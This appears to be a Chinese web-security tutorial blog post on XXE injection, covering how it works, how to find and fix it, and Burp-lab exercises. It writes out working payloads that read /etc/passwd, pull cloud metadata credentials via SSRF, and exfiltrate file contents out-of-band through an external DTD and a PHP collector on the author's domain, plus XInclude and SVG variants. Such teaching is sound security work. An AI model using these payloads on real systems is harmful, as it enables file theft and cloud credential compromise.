Web攻防-XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展

知识点:

1、WEB攻防-XML&XXE-注入原理&分类&修复

2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用

3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路


一、演示案例-WEB攻防-XML&XXE-注入原理&分类&安全影响

详细点

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XMLHTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最主要的影响)、命令执行、内网扫描、攻击内网等危害。

XXE黑盒发现

bash 复制代码
两类:
数据包的测试
功能点的测试

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxe即可)

参考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490

XXE白盒发现

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

bash 复制代码
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
 
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、演示案例-WEB攻防-XML&XXE-有回显利用-文件读取&SSRF&外部实体

1、文件读取

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>


2、SSRF&配合元数据

bash 复制代码
条件:存在XXE注入的云服务器应用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>


3、文件读取-外部引用实体dtd

bash 复制代码
file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">


bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

三、演示案例-WEB攻防-XML&XXE-无回显利用&文件拓展解析等

无回显利用

1、DNSLOG-带外测试

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>


2、文件读取-外部引用实体dtd配合带外

bash 复制代码
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>
 
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">
 
get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
 
执行逻辑顺序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=读取的内网数据


3、文件读取-外部引用实体dtd配合错误解析

bash 复制代码
test.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
 //这是一个报错的payload,利用目标服务器报错解析来读取文件内容。

BURP靶场

bash 复制代码
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>


文件拓展解析

1、xinclude利用

XInclude 是一种让你能把多个独立的 XML 文件像拼积木一样"动态组合"成一个大 XML 文档的标准方法。它通过在主文件里放置特殊的"包含指令"(<xi:include>),告诉 XML 处理器在需要的时候去自动加载并插入指定文件的内容。这样做的主要好处是让大型 XML 文档更容易编写、维护和复用。

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行。

BURP靶场

bash 复制代码
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>


2、文件上传-SVG图像解析(docx等)

一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试。

SVG图片

bash 复制代码
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>





SRC文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

DOCX文档

参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490

3、功能点挖掘总结

bash 复制代码
基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式
导入/导出功能: 任何以 XML 格式传输数据的进出口
RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。
文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能
文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招!
相关推荐
未来之窗软件服务8 小时前
万象EXCEL开发(五)模拟excel行计算 ——东方仙盟练气期
xml·仙盟创梦ide·东方仙盟·万象excel
sun0077009 小时前
网络配置config.xml的android.mk解析
android·xml
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ17 小时前
mapper.xml中limit分页参数不能使用计算表达式问题
xml
余防1 天前
XXE - 实体注入(xml外部实体注入)
xml·前端·安全·web安全·html
未来之窗软件服务2 天前
万象EXCEL开发(四)格式解读theme1.xml ——东方仙盟练气期
xml·仙盟创梦ide·东方仙盟·万象excel
未来之窗软件服务2 天前
万象EXCEL开发(二)格式解读sharedStrings.xml——东方仙盟练气期
xml·excel·仙盟创梦ide·东方仙盟·万象excel·东方仙盟格式
goTsHgo3 天前
Spring XML 配置简介
xml·java·spring
半导体守望者3 天前
TR帝尔编码器GSD文件 PROFIBUS XML PROFINET EtherCAT 文件 ADH CDH CMV等
xml·经验分享·笔记·机器人·自动化·制造
极光雨雨3 天前
XML中的 CDATA mybaitis xml中的 <![CDATA[ xxxx ]]>
xml
未来之窗软件服务4 天前
万象EXCEL开发(三)格式解读calcChain.xml——东方仙盟练气期
xml·仙盟创梦ide·东方仙盟·万象excel